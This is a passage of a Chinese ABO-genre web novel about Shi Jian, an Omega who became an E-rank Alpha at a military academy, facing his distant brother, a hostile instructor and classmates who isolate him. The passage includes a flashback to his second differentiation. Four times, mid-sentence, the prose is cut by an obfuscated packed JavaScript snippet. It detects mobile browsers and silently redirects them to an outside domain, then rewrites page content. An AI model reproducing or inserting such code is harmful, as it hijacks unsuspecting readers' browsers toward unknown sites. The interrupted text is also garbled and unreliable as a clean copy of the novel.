时茧全身都细软的发着抖,脸上却没表情:“遣妾一身安社稷,不知何处用将军。” “你浑身上下也就这张嘴硬了——我也真是纳闷,时藏锋到底怎么养的儿子,不是说你以前是个Omega吗,除了身材和脾气,我也没见你哪里像个Omega了。” 时茧看着他,平静地科普:“大型猛禽,比如美洲角雕,比如海东青,全身最坚硬的就是喙,铁钩一样弯曲而尖锐,能够轻松刺穿猎物的皮肉和骨头。你再仗着自己教官的身份对我父亲出言不逊,我就让军刀和钢笔啄死你。” 这种级别的恐吓在牧野眼中完全是人类幼崽万圣节扮鬼“不给糖就捣蛋!”,他抱着手臂,嘲弄地一笑:“唬谁呢。” 下一秒却突然痛叫出声,猛地捂住耳垂。一只通体雪白、翅羽背羽覆着黑点的海东青扑扇着翅膀,用利爪抓住牧野肩膀,捕捉到他手指缝里流出的猩红液体,朝着他的手指又狠狠啄下。 牧野一阵鸡飞狗跳,等弄清楚堵着自己啄的是什么东西后,联邦军校一年级生总教官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035797|162420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,A+级Alpha罕见地崩溃大吼:“你哪弄来的海东青!让它赶紧滚下去!” 然而他冲着时茧吼完后,海东青啄得更起劲了。 这大鸟扑棱着翅膀飞过来时连时茧都吓了一跳,但很快他就认出在牧野头上为非作歹的是大哥时序的精神体钢笔,露出一个真心地微笑。 牧野忌惮着不能伤到这只海东青,脸上难免挂了彩,转头时茧抱着手在看好戏,“还笑!你再不把它叫回去我把它毛拔了炖汤喝!” “叽!!!!”海东青展翅,发出猛禽的叫声和进攻。 时茧的声音轻飘飘的,每句话末尾的咬字又带着点往上扬的钩子,牧野听得牙痒痒:“报告教官,我的精神体又不是海东青,让我命令它,未免有点强人所难了吧。” “谁特么不知道你亲哥的精神体就是只海东青!这算什么?教训完小的来大的?当起点升级流爽文啊!!”牧野一个不提防,右眼差点让这见血疯的海东青啄瞎,气得他放出自己的精神体。 一只威风凛凛的德牧汪呜一声自虚空中出现,它兴奋地扑向牧野,后者眼前一亮,以为有救。 但德牧伸出漆黑油亮的鼻头四处嗅了嗅后,却忽然嗷呜一声,甩着尾巴掉头冲时茧去了。 被啄得满耳朵流血的牧野:“?” 这对吗。 海东青余光看到家被偷,仰天长啸一声,一个急转弯往回飞,扑腾着翅膀把差点扑到时茧身上的德牧踢开,随后并起双爪收拢,优雅地落在时茧肩头,抖擞了下蓬松的羽毛,高贵而骄傲地挺起胸膛。 那双鹰眼炯炯有神,像可追踪监控头一样左转右转。 德牧遗憾败北,垂头丧气夹紧尾巴回到牧野身边,忧郁地趴下了。 那两只水汪汪的黑眼睛滴溜溜转着,不时看看时茧,被海东青对眼一瞪,又嘤呜一声,低头叹气把下巴搁在前爪上。 牧野脸色黑得深沉,暗骂德牧不争气的玩意儿,不顾抗议把它收回精神海里。 他看向立在时茧肩头精神百倍的海东青,冷笑两声:“看来时家这位大公子今天也在场咯,真好奇他会不会浪费自己宝贵的时间,抽空来问问你在军校的表现——那恐怕他不会失望的。” 时茧立刻听出他话里的威胁:“钢笔——” 海东青扑扇翅膀,那带着弯钩、久经磨炼的喙尖在阳光下锐利反光。 耳朵的血还没止住,牧野可不想让一只精神体抓得满脸花,忙打断道:“诶行了行了,知道大小姐不好惹了,把你那破鸟弄远点,我不跟你家长告黑状了成不?” 时茧不为所动,人假鸟威:“报告教官,我管不了我哥的精神体。” 海东青作势要起飞—— 哪怕会得罪时家也没其他办法了,总不能真让只精神体欺负,牧野双手凝聚起风刃,就要挥出去前一刻,一道冷彻入骨的青年声音忽然响起。 “钢笔,回来。” 同一时间,时茧、海东青、牧野,都看向了来人。 14. 第 14 章 青年一身裁剪得体的黑西装,面料昂贵,熨烫整齐,连袖口挽起的褶皱都精心调试过角度。 露在外面的皮肤苍白得有些病态,发色和瞳孔是较之更深、继承自父亲的灰银,脸部线条笔直而凌厉,带着一种不近人情的冷漠。 身后跟着一队训练有素的Alpha保镖,站位看似随意,实则时刻注意周围动静,挡住了所有能够从后方袭击到他的角度。 一瞬间风停树止,镜头仿佛慢放般,时茧无比清楚地听到自己的声音:“哥——” 青年“嗯”了声,把海东青收回精神海。 牧野早已收起不着调的样子,不太敢相信地看向那个几乎只出现在新闻里的青年,常被赞以青出于蓝而胜于蓝的,联邦议会上议院最年轻的议长候选人。 也是他刚刚惩戒过的小少爷时茧的亲生哥哥,时序。 他的目光克制地在两人之间来回。 像。但是……又不那么像。 时序冷硬的气质压过了他出彩的相貌,让人容易忽略他其实也相当俊郎。而这四五分相像的眉眼放在时茧脸上,却被放大了不止十分的美丽,让每个人看见他第一眼先注意到的,都是他那不加掩饰、殊丽迫人的美貌,而后才是淡淡地萦绕在疏离的眉眼间清冷骄矜的气质。 牧野的目光最后还是落回在时茧身上。 薄唇习惯性地向下抿着,表情没什么大的波动,像一潭没有风的水。但那眼睛里升起的一点点亮光,恰如无风自起的一小圈涟漪,仍旧让牧野窥见少年小心藏起来的那份期许。 可能他自己都没发现,他的目光一直追着时序,像只满脸傲娇,但尾巴啪嗒拍打地面,礼貌而又局促地等待人类把自己领回家的流浪小猫。 “安东尼奥校长邀请我参加新生特训月的动员会开幕式,我刚从会场出来。”时序的嘴唇很薄,锋利得像刀片。 这薄薄的刀片比寒冬腊月的冷风还刮人,时茧手背上、衣服下原本无知无觉的细痕,忽然隐隐作痒,伴着密密匝匝的疼痛,红莲花一样一朵朵炸开。 他下意识地把手藏在身后。 从小到大每个教过时茧的老师都夸过他聪明。所以他怎么会听不出这句平铺直述的话之外,真正未说明的深意。 时序其实是想说,所有人都在会场,为什么你不在。 教官为什么单独把你留在这里。 发言演讲的新生代表,为什么不是你。 鹰隼的视野范围异常广阔,单眼视野可达300度,重叠视野可达120度,视网膜上的视锥细胞数量是人类的五倍以上,海东青能够看见的东西,哥哥应该也看见了。 时茧背着双手,大拇指互相抠着,有些发散地想。 其实他以为时序会问你手上的红痕是怎么回事,或者在军校待得习不习惯,有没有人欺负你。 但没有。 时茧没想到会在第一军校见到哥哥,四目相对的那一刻,他忽然就有很多话想跟他说。 比如跟他告状,说第一军区的余宸仗着信息素等级更高就带人来羞辱他,说室友看不起他走后门进军校,说旁边这个流氓一样的Alpha教官粗俗又自大总惩罚自己…… 因为以前也是这样的。 他念书的时候总有些Alpha为了吸引他的注意力而使用一些非常幼稚又土鳖的手段,写情书、堵班级门、非得送他回家、不准其他人跟他玩…… 只要时茧把这些青春期的烦恼倒垃圾一样倾诉给时序,这个年长他快十岁的大哥,虽然当时不表态,但那些给他造成过困扰的Alpha,就总是会捂着被爹妈揍得鼻青脸肿的猪头离他身边远远的,再也不敢在他面前晃来晃去。 他大哥是谁啊,军官圈子里最有出息的小辈,上议院最年轻的议长候选人,那些长辈谁见了不夸一句年少有为、国之栋梁。只要在这些Alpha的父母面前略微提一句半句,用不着亲自出面,那些恨铁不成钢的父母们自会重拳出击,拎着犬子上门谢罪。 人假鸟威这一招,时茧可是从小就用。 可当时茧听懂时序话音之外对他的失望后,他忽然就,失去了所有想要倾诉的冲动,就像昨晚被冷醒之后最崩溃的那一刻,他掏出手机,脑子里划过了很多人的号码,但最后不了了之那样,自觉地收起那些本来已经探出去的触角。 温隅安的话虽然难听却并不无道理,他已经不再是Omega,自动失去了那些可以对兄长撒娇,希冀得到回护的权利。 他现在是一个Alpha,如父亲所言,有自己必须承担的责任和必须面对的成长。 但时茧还是向时序迈出步子,“哥,我很想……” “校方安排的见面会还有十分钟,您得尽快过去准备。”时序身后的助理上前对他说。 “我知道了。” 时序又看回时茧,弟弟像只鬼鬼祟祟的小猫一样突然出现在他身边,于是抬手揉了揉猫咪的发顶。 时茧的话没有说完。 时序来去都很突然,他的时间被安排得满满当当,容不下、来不及听哪怕多一个字。 “你刚分化成Alpha,可能会不适应军校的节奏,但你从小就很优秀,这些对你而言应该只是一些小困难。”时序说,“希望等我下次再来,作为学生代表在台上发言的人可以是你。” “我会在台下给你鼓掌的。” “……嗯。” “我……会努力的。” 说不出的压力伴随着温暖干燥的掌心温度一同传达给时茧,他像淋了一场水光潋滟的太阳雨,不是那么冷,又晴得不彻底。 有毒的蓝色蘑菇撑着伞盖,在长满青苔的潮湿角落里默默发霉。 时茧笔直地站着,在想抗拒反叛之外的另一种可能性,比如说听教官的建议,勉强顺从地在军校待完四年。就像牧野说的,哪怕只是装个样子,所有人都会皆大欢喜。 他就按照父亲和哥哥们所期望的那样,做一个Alpha该做的事,也许会让糟糕的情况变得稍微好上那么一点……? 时茧大大睁着的双眼有些无所适从的迷茫,他也不清楚自己如果做出这个选择到底对不对。急转直下的命运没有给被迫改变的人太多适应的时间,所有人都只是指给他一个方向,告诉他终点该去哪里,但没有人告诉他究竟该怎么做,他只能跌跌撞撞头破血流地摸索着往前走。 他站在一场只有自己能淋到的雨里,隔着雨幕远远看着时序转身离开,那一瞬间被拉得很长、很慢,他在那个背影上看到的又不止一个人。 时序走出几步,对助理说:“以后不要在他面前催促我。我知道该怎么安排时间。” 助理低下头:“抱歉时先生。” 时序不再给他眼神,余光落在正佯装无事吹着口哨缓缓开溜的牧野身上。 “……”视线对上,牧野望天看地抠着墙皮,哨音悠扬。 这墙可真墙啊。 这苔藓也真绿。 时序顿了顿,低声吩咐助理:“把他带到临时办公室。等我开学礼结束后回来再说。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035798|162420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “是。” * 时茧在操场的围墙后待了整个中午,感觉不到任何饿意。 下午的军事理论课,他第一个到。 选了最后面的座位,哪怕决定了暂时安分下来混完军校这四年,时茧也下意识地抵触与之有关的一切。 他还是很想离开这种地方。 快响铃的时候学员们拎着书陆续到了,每个人一进教室就能看见坐在最后一排靠窗假寐的少年,都愣了下。 凉爽的秋风吹得白纱窗帘猎猎作响、书页翻动,长发飘起几缕,蓝得同高高的天空一样。 雪白的皮肤被阳光照着,整个人由内向外的发着光,散发着欧根纱笼罩下星星点点的光晕。闭着眼安安静静,像一朵悠然浮动的云,轻盈的,带着绵软、新鲜的水汽。 多媒体黑板上方悬挂的老式钟表响着滴答滴答秒针走动的声音,时间在这一刻被拉得很慢、很长,谁也没想过会在这样一个平淡的、有些昏昏欲睡的下午,因为一个人,得到一个猝不及防而被触动的人生瞬间。 学员们踌躇着选座位,有Alpha蠢蠢欲动,但刚抬脚想去最后一排,就敏锐地发现周围情绪不对,阴郁的目光群体性地向个体铺天盖地般投来,汇聚成平静海面下疯狂的暗流。 Alpha的额头布着细汗,在经历过无人得知的内心挣扎后,最终还是止住脚步,选择了一个远离那人的座位。 这样的情况在接下来的半个小时里循环上演,散布着细蚊般窃窃私语的开放教室里,最后呈现出一种以时茧为中心向外辐射的大片空白面积。 哦。孤立。 真无聊。 时茧百无聊赖地想。 而在他看不见的,没有注意过的地方,数十道视线隐秘地,不约而同地,窥探着。 铃响后教室里也没完全安静下来,牧野懒散地走进来,一改平日里嚣张气焰,像霜打过的茄子一样焉儿巴,连敲着黑板说的那句“上课”都有气无力。 他靠在讲台上,单手撑脸,懒洋洋地点名。 “安格列——” “许柏——” ………… “沈行川——” “时——” 牧野停顿了一下,抬眼看去,后知后觉地发现刚进来时那种隐隐约约的奇怪源自哪里。 “时茧。” “到。” 时茧不高不低地应了一声,以为这流氓教官又想整些花样戏弄自己,但他仿佛就只是无比随意且正常的看了一眼。 “都坐那么后面干什么?第一排留着给大学生开o雪冰城?我能吃了你们啊?最后一排的,全都给我坐到第一排来。” 唯一一个坐在最后一排的时茧:“……” 他的判断还是下太早了。 ——这家伙绝对有病。且病得绝对不轻。 时茧叹了口气,拿起书本换到第一排。 Alpha们纷纷看向他,不少人窃窃私语,秘密传播的小纸条上更是频繁地提及到这个名字。 而一些更加隐晦的情绪,则只在彼此交汇的眼神里传递。 许柏也在第一排,太子陪读往往比太子本人努力多了。 他只犹豫了那么一秒,旁边的黑发Alpha就先一步起身让出座位,笑声清澈而爽朗地对时茧说:“你坐这吧。” 一瞬间,很多道目光毒蛇蚁虫般爬到他身上。 在少年看过来的视线中,Alpha大大方方道:“我叫沈行川,行遍天下名川的行川。” 15. 第 15 章 喔…… 那个据传十分优秀的新生代表。 时茧的视线在沈行川的脸上停留了两秒,礼貌而有距离感地说了句“谢谢。” 沈行川和他一起坐下,拿书遮住脸,小声笑道:“我是班长嘛,为同学提供一点力所能及的帮助是我应该做的,所以不用谢。” 时茧初听有些意外,陆战指挥系向来是权贵后代扎堆的地方,班长这种职位怎么会落到一个平民学生头上。但他转念想起牧野提起的沈行川的履历,又认同单从成绩出发,这人确实有胜任的能力。 客观评价沈行川的同时,时茧又不受控地回忆起上午和时序短暂的见面,大哥公事公办的语气下表达出的对自己的那份期望,像一座大山,压得他喘不过气。 而此时,这种压力似乎又十分具体地出现了。 他的背上,又背上了那座山。 时茧没吃午饭,胃里很空,涌起一阵干瘪的绞痛。 沈行川见他脸色苍白,嘴唇也像褪去颜色的粉白月季,眼底生出浓浓的担忧:“你怎么了?没事吧?” “……没事。要上课了。”时茧忍了忍,左手放下桌面插进兜里,握成拳头抵在腹部,那股绞痛才稍微平息,勉强好受了一些。 敞开的校服外套巧妙地遮挡住了这些刻意掩埋的动作,连离时茧最近的沈行川都没发觉,只是有些担心地看着他,在意识到对方可能不太想接受自己贸然的好意后,欲言又止地退回到一个不会冒犯的社交距离。 牧野敲敲讲台,示意众人保持安静。 他双手大开大合地撑开在讲台上,眼神充满着攻击性,探照灯一样,缓慢地扫过在座每一个Alpha学员,声音洪亮如钟。 “昨天我已经跟你们其中的大部分人做过自我介绍,但鉴于你们还不够熟悉我,也许会对我存在一些误解,所以今天我再重复一遍。” “我叫牧野,A+级Alpha,精神体德牧,退役军人,毕业于联邦第一军校陆空作战指挥系28届1班。你们应该都听说过直系学长变教官往往都是最变态、最爱把学员往死里整的说法吧?没错,我就是这种变态,特别爱折腾你们这些小菜鸟,所以最好老老实实听话,争取不要落在我手里,明白?” “明白!” 话音落地的瞬间,所有人的视线都不约而同地看向第一排那个清瘦的背影,这两天与他有关的画面幻灯片一样在脑海里循环播放,想到这人才刚开学就惹出的那一堆换别人整个军校期间都不敢惹的麻烦,表情可谓相当精彩。 起初他们以为对方等级一定很高,否则怎么敢挑衅教官,扇第一军区太子爷的巴掌,所以即使第一眼被那张脸惊艳,其实也不敢多肖想些什么。 可昨晚洗浴中心的事很快就传遍了整个军校—— 也就是太子爷身边那个陪读被放回来的后半夜,在一众好奇人士的追问下,一开始本来推脱着,语焉不详,很是扫兴。 但不知道是谁惋惜地说了句“他长成那样,要是个Omega就好了”,这人的表情就忽然间扭曲了一瞬,好像有魔鬼住进了他的眼睛,在那种饱含着夸张戏剧成分而表演出来的不屑里,深藏着的其实是几丝不易被他人发觉的畏恐和兴奋,充满了恶意地将那个人的秘密暴露于众:“啧……说实话他的等级,也和Omega差不太多吧……” Alpha们果不其然表现出惊讶、怀疑,和隐约的期待的神色。 许柏刻意地拉长声调,吊足胃口的同时,用一种居高临下的心态打量着这些Alpha的表情,回味着目睹时茧被余宸凌虐时的一幕。 那样的场景太难以用言语或是文字等方式具体形容,但许柏活了十八年,在此之前的日日夜夜,他从未感受到这样一种能将全身感官调动到超出阈值的兴奋,这比堪称令Alpha重生的二次分化还令人激动—— 昏暗狭窄异常潮湿的隔间,在朦胧潮热的弥漫开的雾气遮掩下,丝丝缕缕流淌出的粉色血水开出的莲花,跌坐在莲花里低下头脆弱美丽破碎遗世的落玉观音,他的脚下碾过融合了血液的污水,嗅着那缕被压制得瑟瑟发抖的信息素,完全、完全忍不住想要把他摧折得再过分一些。 当啷裂声的白玉一样的瓷瓶,既然都已经有了瑕疵和裂片,为什么、为什么不能把它摧毁得更彻底呢?!比碎瓷瓶更美、更叫人难忘的,是碎成一地的瓷片啊! 许柏有些许神经质地笑起来,语气仿佛蜥蜴爬过沙地留下的黏腻湿腥的液体,放低了声音,和谁耳语般,悄声说:“一个二次分化成E级Alpha的残次品……你们在忌惮什么呢。” 哪怕他家世再显赫,拥有着那种美貌而又毫无自保能力,在强者为尊的狼群体系里,分明是只能依附头狼生存,连交.配权都没有,谁都可以咬上一口的、夹着尾巴可怜无能的小公狼啊。 更何况,他以前是个如假包换的Omega,现在的身体作为Alpha来说,是有缺陷的,是天生不全的。 “估计只要是个强壮点的Beta,都能一只手轻而易举地制住他吧。” 许柏微笑着。 Alpha们仿佛亲手打开了一个潘多拉盒子,听到了某种来自地狱的,引诱他们堕落、沉迷的声音。 Alpha们忽然之间,集体性地沉默了。 熄灯后的男寝昏暗凝滞,在浓密的雄性信息素织成的网里,有什么东西在无声地发芽生长,最后长成棵枝叶缠绕、密不透风的槐树。 仅仅半个晚上,和一个早晨,那个疑似高等级的美人Alpha实则只有E级的消息,在点燃那一刻,就像炸.弹爆炸时荡开的那一圈热浪,扩散辐射到这所军校每一个角落。 这忽然就变成了一个公开的秘密。 初秋余热仍在,Alpha们有些昏昏欲睡,有些聚精会神,时茧在其中显得些许另类,漫不经心地随手翻着书页,几十秒浏览完后,又“哗啦”一声翻到下一页。显然他并没有多尊重这个课堂,却又没有完全不当回事。 “Alpha、Beta、Omega是当前联邦的三种主流性别,出生的性别鉴定为一次分化,一般情况下只是一个大致的预估,成年时的二次分化才能够最终决定性别和基因等级。因为个体发育情况不同,有些人可能会提前进入二次分化,也有可能延后进入二次分化。分化后的性别中,Beta数量占比最多、个体基因相差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035799|162420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不大,实际上是整个社会的中坚力量。而Alpha和Omega因为不稳定的进化导致个体基因等级存在差异,Alpha的战斗能力、Omega的精神力,再综合精神体强度的考量,被划分为S、A、B、C、D、E六个等级,在这之中又有一些细微的区分,诸如在B等级区间内,攻击性更强的Alpha可以达到B+,攻击性更弱的Alpha是B-。” “等级越高,在二次分化时能够觉醒出的异能就越强大,等级越低,不仅异能弱小,连觉醒概率都会大大降低。S、A、B等级的Alpha往往会觉醒强势的攻击性异能,其中S等级Alpha觉醒的异能往往具备统领性,对战局的影响力堪称核.弹级别;C、D等级的Alpha能够觉醒的异能一般是强化身体素质,让他们可以做到更高强度的身体对抗;而最低等级的Alpha通常无法觉醒异能,一些身体强壮的Beta都可以轻易战胜。Omega之间的等级划分倒不那么苛刻,毕竟他们更加稀少,精神力抚慰被认为是辅助性功能。” 如芒在背。 时茧无聊地翻阅着《论Alpha基因等级与精神体》,不用回头,也知道有多少双眼睛正盯着他。 甚至就连牧野,都抽空抬起头,看了他一眼。 这些意味不明的目光自然对时茧造成不了多大的困扰,很多时候还不如温隅安几句话难以忍受,他自己都不在意,偏偏沈行川“欻欻”两下写了张小纸条递过来。 【无论什么等级,毕业后走上战场,都会是目标一致的战友,是联邦无上光荣的战士。 时茧同学,加油^_^】 读完最后的颜文字,时茧目光顿了顿,而后抬眸看过去。 沈行川弯着一双笑眼,藏在抽屉里的手对着他做了一个加油的手势。 ……幼稚。 “蠢得要命。” 时茧做出这四个字的嘴型,忽略沈行川眼睛里骤然暗下去的光亮,扭过头,盯着窗外梧桐树桠上的鸟窝。 在余宸已经放过话的第一军校里,只因为那种在贵族子弟眼里可笑的班长职位,就莫名奇妙地生出那种爆棚的责任心,再三对他示好,想把一个边缘学生拉进集体融入。 这种毫无性价比的蠢事,也就只有沈行川这种天真的平民学生会做。 时茧看着鸟窝里伸着脑袋叽叽喳喳的一排小鸟,心跳平缓,不在意这间教室或者说这座学校里,发生的任何事。 微小的只有一头热的互动被讲台上的牧野尽收眼底,他忽然有些不爽,顾识云那样的怪胎也就算了,那种出身……勉强也算臭味相投吧。 可沈行川,明明是近年纸面成绩最优秀的平民学生,为什么也被这浑身臭毛病的小少爷唬得昏了头,掺和进这群权贵子弟的破事里来。 因为某种说不清楚的心理,牧野点了时茧的名字:“那么这位同学,你来分享一下二次分化时的感受吧?” 沈行川做笔记的手一顿,眼睛惊讶地睁大,不可置信地抬头看了一眼讲台,又有些担心地看向时茧,眉毛紧皱,十分忧愁。 而坐在他旁边的许柏,却露出一种像狗闻到肉味,垂涎欲滴般的微妙笑容。 16.第 16 章 “我已经通知了上将和两位少爷,他们正以最快的速度赶回中心区。让医院立刻马上把各科室最好的医生都调过来待命,确保在救护车到之前就准备好手术室,医院这边不能出任何差错!” “救护车必须在五分钟之内赶到——罗伊呢?!你让这个区域的警队出来配合执法,封锁其他交汇路口,把路线清出来,一路上我不想看到任何红灯!耽误哪怕一秒钟,所有人吃不了兜着走!” 救护车上挤满医生,男女声混合车外嘈杂的车流声就在耳边,却像隔着水面一样朦胧听不真切,时茧能够听清楚的,只有从他自己身体里发出的,持续而激烈的呼吸心跳,一下比一下沉重。 他平躺着,视野有限,只能看到一些模糊的人影,手忙脚乱的在他面前来来去去,像在看一种上个世纪的黑白默片。 唯一清晰一点的影像是副官紧握着他的手,用力得几乎攥碎骨头,表情是前所未有的慌乱,但声线压得极其平稳,只偶尔泄露出一丁半点的颤抖,语速飞快地同时应付着几部手机,还要抽出空安抚突发意外的小少爷,配合医护进行初步干预,比怕自己死还更严重地怕躺在急救床上的人有什么三长两短。 闪烁红光的仪器发出急促而刺耳的锐鸣,副官的身影和医护的身影逐渐重叠在一起,每个人的脸上都写满相同的焦急和惶恐,不安在一双双眼睛里蔓延。 时茧蜷缩在急救床上,浑身皮肤都在发烫,像一只煮熟了弓着腰背的虾。他颤抖着回忆昏迷前发生了什么,却只记得今天考完最后一门课,要去陪雷雨庆祝即将到来的十八岁生日,只是如寻常一样走在那条熟悉的路上,忽然就失去了所有知觉,然后被一种搅碎腺体的剧痛唤醒。一开始只是塞进毛巾以免他把舌头咬破,后来给他吃镇痛药和安眠药,不管用后打吗.啡,但仅仅能管几分钟。 权衡利弊后副官阻止了医生继续注射,为了防止时茧失去理智时伤害到自己,叫来四个B级的Alpha保镖才将急救床上剧烈挣扎的人按住。按理说这种疼痛等级换做其他人早就该休克,身体会主动自救,但彼时仍是S级Omega的时茧却因为等级太高而免疫了一切的阵痛手段,被迫清醒地感受着自己还没有完全成熟的腺体细胞破碎断裂。 他的视网膜鼓胀而充血,看到了大片被血染红的天空,空气中漂浮着弹片和粗大的废土颗粒,一望无际的烧焦的土地。他清楚地意识到这不是幻觉而是真实看见的东西,直视那轮血红残阳时,他的耳朵里一瞬间炸开无数道声音,男人女人的,老人小孩的,窃窃私语、人声鼎沸,还有熟悉的一声呢喃似的小茧,男人把他抱在怀里耳语着什么,甚至能听见风和树叶的对话,蚂蚁群的交流。 一瞬间又安静无比,风停树止,蚂蚁不知所踪。时茧的脑子里被灌进很多东西,杂乱无序,根本装不下。思维像是被人用一根树枝不规则地持续搅拌,记忆也随之七零八碎断成小截。 碎片画面断断续续地出现在时茧眼前,突然三盏刺眼的白光刺激得他流下眼泪,好几双手持着银亮的长刀迫近。颠三倒四的思维让他意识不到自己是谁,也动弹不了,只知道大脑很痛,身体在抽搐,汗水蓄在衣服里像保鲜膜一样裹着他。 烂掉的腺体点燃了一把火焰,然后五脏六腑跟着燃烧起来,甚至有血管沸腾的声音。周围却很冷,冰窖一样,皮肤的毛孔甚至能感受到森森冒出的寒气。 时茧以为自己正泡在冰水里自焚,他挣扎着要逃开,但身体麻木而沉重,与此相反的,是他混沌却轻盈的灵魂。 他忘记了自己什么时候终于可以闭上眼,逃脱这比死恐怖百倍的灼痛,在陷入无边的黑暗那一刻,他以为自己终于死了,不必再忍受这样的痛苦,于是露出一个得以解脱的微笑。 但时茧活着,活得很好。 一场突发意外的二次分化而已,只是剥夺了他优越的基因,要不了他的命。那种深入骨髓的疼痛也只是伴随意外而降临的次生灾害,降临在每个人身上的概率非常平等,时茧只是比较不幸运。 从手术台下来后时茧留在中心区军医院疗养,全联邦最顶尖的腺体方面专家都汇集于此,不眠不休、竭尽全力地试图补救。 “怎么会提前进入二次分化呢……家族基因谱中没有这样的先例,直系亲属和旁系亲属中也没有腺体先天性遗传病的记录,自己也没有过腺体受损方面的既往病史,按理说根本不可能……不应该啊……” “已经从中心区总库调取了10000cc的A级以上Omega信息素萃取液,尽力试试吧,看能不能逆转一下分化结果。” “唉,还是不行。连第九军区总库的都调来了,已经输进去20000cc,为什么连一点效果都没有?就算达不到预测的S级,至少不应该是……是……” 专家们在尝试过目前所有的方法都无果后,不得不宣告时茧已经结束了二次分化,由预测的S级Omega分化为E级Alpha。 原因不详,无法逆转。 “E级Alpha?你们在开什么玩笑?!时家怎么会有E级的分化基因?!”愤怒过后,温隅安有些迷茫地喃喃着,“不,他不可能是Alpha,他不能是Alpha……他怎么可以是Alpha!” 时序依旧冷静。 “好的,清楚了,你们辛苦。” “办出院吧。” “把家里的Alpha保镖都撤走,全部换成Beta。” “从现在开始,直到小茧学会控制信息素之前,不要让他接触到高等级的Alpha。包括你们。不要引起恶化。” “时序这段时间抽不开身。温隅安,教好你弟弟。” 时藏锋妥当地安排好了每一个人。 时茧彼时半坐在病床上,闻言抓紧了被子,嶙峋的手背上青筋和骨头凸起,细的、窄的,覆在上面的薄薄的皮肤有着一种大病初愈的苍白。 本家和世交的长辈亲友们大多是高等级Alpha,不便登门探望,在视讯里表达了对他的关心。 “唉,这孩子怎么会……真是可惜了。” “是啊,老大在上议院,小温是领养的,时家正等人接班呢……他这样以后怕是很难立足。” “真佩服他还能像个没事人一样,要是我一夜之间从S级Omega沦落成E级Alpha,我肯定承受不了这种落差,还不如死了算了。” “挺可怜的……” “可惜……” 当那个登记官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15038861|162420||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也流露出同情的目光时,距离这件事,已经过去了两个月余十天。 然后现在,被牧野当着几十个人的面,重新翻了出来。 话音落地的一瞬间,哪怕正打着瞌睡的也被旁边弄醒,所有人的目光都从四面八方汇聚到那一点上。 教室里陷入了一种难言的沉默,只有空调外机嗡鸣的闷响,隔着窗户随阳光一起闷热地传到每个人耳朵里。 时茧安静地坐在座位上,顺着牧野那句提问,把二次分化以来经历的一切压缩在几秒里走马观花一样地重看了一遍。 他其实以为自己已经忘得差不多了—— 不是有那个理论吗,戒断保护机制,身体在经历了巨大的痛苦之后会主动自救,大脑下意识回避遗忘这段经历。 然后时茧发现自己是这个机制的漏网之鱼,混乱的思维和断裂的记忆只在那一晚出现过,那之后直到现在,他的记忆都如叶脉般清晰,清楚地记得每一个最微末的细节,甚至记得谁说过什么话,记得他们说这话时,是什么样的表情。 同情,可怜,遗憾,怜悯……很多种。 都是时茧不需要的情绪,但心地善良的人们总是会大发慈悲地送给他,就像下班回家的途中好心带给流浪小猫食物。 其实流浪猫抓老鼠也能吃饱。 牧野等得有些不耐烦,同时有种不知道为什么会生出的不安,他烦躁地翻了翻教案本,正想越过时茧点其他人的名字,忽然一声椅子在地上拖曳的声音,那个清瘦的少年站起来,背挺得很直,拖出去细细长长的影子。 牧野愣了一下。 时茧的声音是那种青春期男生刚变完声、稍微带着一点低哑,整体像冰水一样,清清亮亮的。 他很淡地勾着一点儿笑,平静地说:“报告教官,我二次分化结果是E级Alpha,没有觉醒异能,登陆人口系统界面的时候,弹窗提示我可以到民政部门办理轻度残疾证书享受联邦津贴。我不清楚第一军校为什么要留下我这种不合格的学生,也许军校也有照顾扶持残疾Alpha的指标?” 很坦然地就把自己的秘密公之于众,说自己是E级Alpha时,镇静地像在分享学术观点。没有很多人预想中的难堪窘迫然后发火痛骂,那双苍蓝色的眼睛像一面镜子,没有暴露出本主的懦弱和卑怯,反而倒映出一些人扭曲脱轨的心态,把那点恶劣心思暴露无遗。 